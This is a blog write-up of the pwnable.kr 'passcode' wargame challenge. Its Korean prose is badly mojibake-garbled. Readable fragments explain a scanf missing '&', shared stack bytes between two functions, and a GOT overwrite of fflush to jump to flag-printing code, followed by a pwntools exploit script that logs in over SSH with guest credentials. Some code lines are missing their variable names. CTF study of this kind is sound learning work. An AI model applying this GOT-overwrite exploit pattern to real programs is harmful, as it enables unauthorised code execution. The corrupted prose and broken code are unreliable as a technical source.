Jastes 2022. 11. 19. 21:08

passcode_WriteUp

 

๋ณด์‹œ๋ฉด.. ์—„๋งˆ๊ฐ€ ํŒจ์Šค ๊ธฐ๋ฐ˜์˜ ๋กœ๊ทธ์ธ ์‹œ์Šคํ…œ์„ ๋งŒ๋“ค๋ผ๊ณ  ํ•ด์„œ ์ปดํŒŒ์ผ ํ• ๋•Œ๋Š” ๋ฌธ์ œ๊ฐ€ ์—†์—ˆ์–ด์š”
๋ฌผ๋ก  ์ปดํŒŒ์ผํ•˜๋Š”๋ฐ ์˜ค๋ฅ˜๊ฐ€ ์ข€ ๋œจ๋Š”๋ฐ ๊ทธ๊ฑธ ๋ˆ„๊ฐ€ ์‹ ๊ฒฝ์“ฐ๊ฒ ์–ด์š”.. ๋ผ๊ณ  ํ•ฉ๋‹ˆ๋‹ค.

ํŒŒ์ผ์„ ๋ฐ›์•„์„œ ์—ด์–ด๋ณด๋‹ˆ๊นŒ..

์œ„ ์ฝ”๋“œ๋ฅผ ์‚ดํŽด๋ณด๋ฉด ์ •์ˆ˜๋ฅผ ์ž…๋ ฅ๋ฐ›๋Š”๋ฐ ์ฃผ์†Œ์˜ ๋ช…์‹œ(&)๊ฐ€ ๋˜์ง€ ์•Š์•˜์Šต๋‹ˆ๋‹ค.
๊ทธ๋Ÿผ ์ž…๋ ฅ๋ฐ›์•˜์„ ๋•Œ ์ž…๋ ฅ๊ฐ’์ด ์•„๋‹Œ ํ•ด๋‹น ์œ„์น˜์˜ ๊ฐ’์ด ์ฝ์–ด๋“œ๋ฆฐ๋‹ค๋Š” ์‚ฌ์‹ค์„ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋ณดํ˜ธ๊ธฐ๋ฒ•์„ ๋ณด๋‹ˆ๊นŒ.. ํ•˜ RTL๊ณผ ๊ฐ™์€ ๊ณต๊ฒฉ๊ธฐ๋ฒ•์„ ํ•ด์•ผํ• ๊ฑฐ ๊ฐ™์Šต๋‹ˆ๋‹ค.
๋˜ํ•œ NX๊ฐ€ ๊ฑธ๋ ค์žˆ๊ธฐ์— ์™ธ๋ถ€์˜ ์ •๋ณด๋Š” ๋ชป ๋ถˆ๋Ÿฌ์˜ค๊ฒ ๊ตฐ์š”


Exploit design

๊ทธ๋Ÿผ welcome๊ณผ login์€ ํ•œ ๋ฒˆ ์‚ดํŽด๋ด…์‹œ๋‹ค. (์ฐธ๊ณ ๋กœ ์œ„์น˜ํ•œ ์ฃผ์†Œ๋Š” ์•„๋ž˜์—์„œ ํ™•์ธํ•จ)

์™ผ์ชฝ์€ welcome์ด๊ณ  ์˜ค๋ฅธ์ชฝ์€ login

C์ฝ”๋“œ๊ฐ€ ์žˆ์œผ๋‹ˆ๊นŒ ๋ณด๋ฉด์„œ ์ธ์ž๋ฅผ ํ™•์ธํ•˜๋ฉด name์ด๋ผ๋Š” 0x70 passcode๋Š” 0x10์ด์ฃ 

๊ทธ๋Ÿผ ์ €ํฌ๋Š” ์œ„ ์ฝ”๋“œ๋ฅผ ๋ณด๊ณ  ๋ฉ”๋ชจ๋ฆฌ ๊ตฌ์กฐ๊ฐ€ ๋Œ€๋žต ์–ด๋–ป๊ฒŒ ๋˜์–ด์žˆ๋Š”์ง€ ์ถ”๋ก ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

welcome func stack frame esp welcome func syscall
- name[100] - ebp(ebp-0x70) -
welcome sfp - ret - welcome func end
login func stack frame esp login func syscall
- passcode1, passcode2 - ebp(ebp-0x10 & 0xc) -
login func sfp - ret - login func end
main func stack frame - main func syscall
main sfp - ret - main func end

๊ทธ๋ฆฌ๊ณ  ์Šคํƒ์˜ esp๊ฐ€ welcome(0x88)๊ณผ login(0x28)์˜ ์ฐจ์ด๊ฐ€ 0x60(96)์œผ๋กœ
์ฐจ์ด๊ฐ€ 0x4(4)๋งŒํผ ์ฐจ์ด๊ฐ€ ์ƒ๊น๋‹ˆ๋‹ค. ์™œ ์ €๋ ‡๊ฒŒ ๊ณ„์‚ฐํ•ด์„œ ์ €๋ ‡๊ฒŒ ๋‚˜์™”๋ƒ.. ๊ทธ๋Ÿผ gdb๋กœ ํ™•์ธํ•˜๋ฉด

๊ทธ๋Ÿผ ์šฐ๋ฆฌ๋Š” ์ด ๋‘ ์ด๋ฏธ์ง€๋ฅผ ํ†ตํ•ด ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค

Welcome stack frame
dummy(24byte) esp(0xffffce10)
name buff(100byte) start(0xffffce28)
dummy(12byte) ebp(0xffffce98)

์˜ ์œ„์น˜์™€ login๋„ ํ™•์ธ์„ ํ•˜๋ฉด..

ebp์˜ ์ฃผ์†Œ๊ฐ€ ๊ฐ™๋‹ค๋Š” ์ ์„ ์•Œ ์ˆ˜ ์žˆ์œผ๋ฉฐ(๋‹น์—ฐํžˆ ๋ฐ”๋กœ ๋ถˆ๋Ÿฌ์™”์œผ๋‹ˆ๊นŒ.. ๊ทธ๋Ÿด ๊ฐ€๋Šฅ์„ฑ์ด ๋†’๊ฒ ์ฃ ?)
๋˜ํ•œ ํ•ด๋‹น esp๊ฐ€ welcome์˜ ebp์˜ ์ฃผ์†Œ์— ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค ์ƒ์„ธํ•˜๊ฒŒ ๋ด…์‹œ๋‹ค.

๋ณด์‹œ๋ฉด scanf์— passcode๊ฐ€ ๋“ค์–ด๊ฐ€๋Š”๋ฐ ๋ฐ‘์— disass์„ ๋ณด์‹œ๋ฉด edx-0x10์— ๋“ค์–ด๊ฐ€๋„ค์š”
๊ทธ๋Ÿฌ๋ฉด ์ข…ํ•ฉํ•˜์—ฌ ๋ฉ”๋ชจ๋ฆฌ ๊ตฌ์กฐ๋ฅผ ๊ตฌ์ƒํ•ด๋ณด๋ฉด..

login stack frame
dummy(24byte) esp(0xffffce70)
passcode1(4byte) esp(0xffffce88)
passcode2(4byte) start(0xffffce8c)
dummy(12byte) ebp(0xffffce98)

์œ„ ์ฝ”๋“œ๊ฐ€ ๋งค์šฐ ์ค‘์š”ํ•œ ์ทจ์•ฝ์ ์˜ ์ฝ”๋“œ์ž…๋‹ˆ๋‹ค. ๋˜ํ•œ ๋ฉ”์ธํ•จ์ˆ˜์—์„œ welcome๊ณผ login ํ•จ์ˆ˜๊ฐ€
์‹คํ–‰๋˜๋Š”๋ฐ ๋ฉ”๋ชจ๋ฆฌ์˜ ๊ตฌ์กฐ๋ฅผ ๋น„๊ตํ•˜๋ฉด name[95-99]๊นŒ์ง€ ๊ณต์œ ๋œ๋‹ค๋Š” ์ 
๊ทธ๋ฆฌ๊ณ  scanf์—์„œ & ๋ผ๋Š” ์ธ์ž๋ฅผ ์•ˆ ๋„ฃ์œผ๋ฏ€๋กœ์จ ํ•ด๋‹น ์ฃผ์†Œ์˜ ๊ฐ’์ด ์ž…๋ ฅ๋˜๋Š” ์ 


๊ทธ๋Ÿผ if์กฐ๊ฑด์„ ๋งž์ถฐ์•ผ๊ฒ ์ฃ (NX๊ฑธ๋ ค์žˆ์–ด์š”) ๋‹ค๋ฅธ ๊ณต๊ฒฉ๊ธฐ๋ฒ•๋„ ๋ ๊ฑฐ ๊ฐ™์€๋ฐ ์ด๋ ‡๊ฒŒ ํ•ด๋ด…์‹œ๋‹ค.

NOP(0x90)*0x60(96byte) + fflush_got(4byte) + system_addr(4byte)

๋กœ ๊ตฌ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. pwntool๋ฅผ ํ™œ์šฉํ•˜์—ฌ payload๋ฅผ ์ž‘์„ฑํ•ด๋ด…์‹œ๋‹ค.

์œ„์— ์ด๋ฏธ์ง€๋ฅผ ๋ณด์‹œ๋ฉด ์–ด๋–ป๊ฒŒ ์ฃผ์†Œ๋ฅผ ์ฐพ์•˜๋Š”์ง€ ํ™•์ธ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.


Exploit code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
 
'''defalut setting'''
context(arch='i386', os='linux', endian='little')
= ELF('./passcode')
= ssh('passcode''pwnable.kr'2222'guest')
= s.process('./passcode')
 
''' using function address'''
fflush_got = e.got['fflush']
get_flag = 0x080485e3
 
'''payload composition'''
payload = b'A'*96
payload += p32(fflush_got)
 
payload2 = str(int(get_flag))
 
p.sendline(payload)
p.sendline(payload2)
 
p.interactive()
cs

์ฝ”๋“œ์˜ ๊ตฌ์„ฑ์€ ์•ž์—์„œ ๋‹ค ์„ค๋ช…ํ–ˆ์œผ๋ฏ€๋กœ ๋„˜์–ด๊ฐ€๊ฒ ์Šต๋‹ˆ๋‹ค.

id ๋ช…๋ น์–ด๊ฐ€ ์•ˆ๋ฌ๋Š”๋ฐ ๊ฒฐ๊ณผ๋Š” ๋‚˜์˜ค๋Š” ๋ฌด์Šจ.. ์ƒ๊ฐํ•ด๋ณด๋‹ˆ๊นŒ s.process์— ์œ„์น˜๋ฅผ
ํ•ด๋‹น ์ €ํฌ ๋กœ์ปฌ ์œ„์น˜๊ฐ€ ์•„๋‹ˆ๋ผ ๊ฑฐ๊ธฐ ์œ„์น˜๋กœ ์žก์•„์•ผ๋ ๊ฑฐ ๊ฐ™๋„ค์š”

๊ฑฐ๊ธฐ์— flag๊ฐ€ ์กด์žฌํ•˜๋‹ˆ๊นŒ์š” ๊ทผ๋ฐ ์ด๋ฒˆ์—” ๊ทธ๋ƒฅ ๋„˜์–ด๊ฐˆ๊ป˜์š” ์–ด์งœํ”ผ ๋œ๊ฑฐ๋‹ˆ๊นŒ


์ฐธ๊ณ  ์ž๋ฃŒ

 

์ฐธ๊ณ  ์ด๋ฏธ์ง€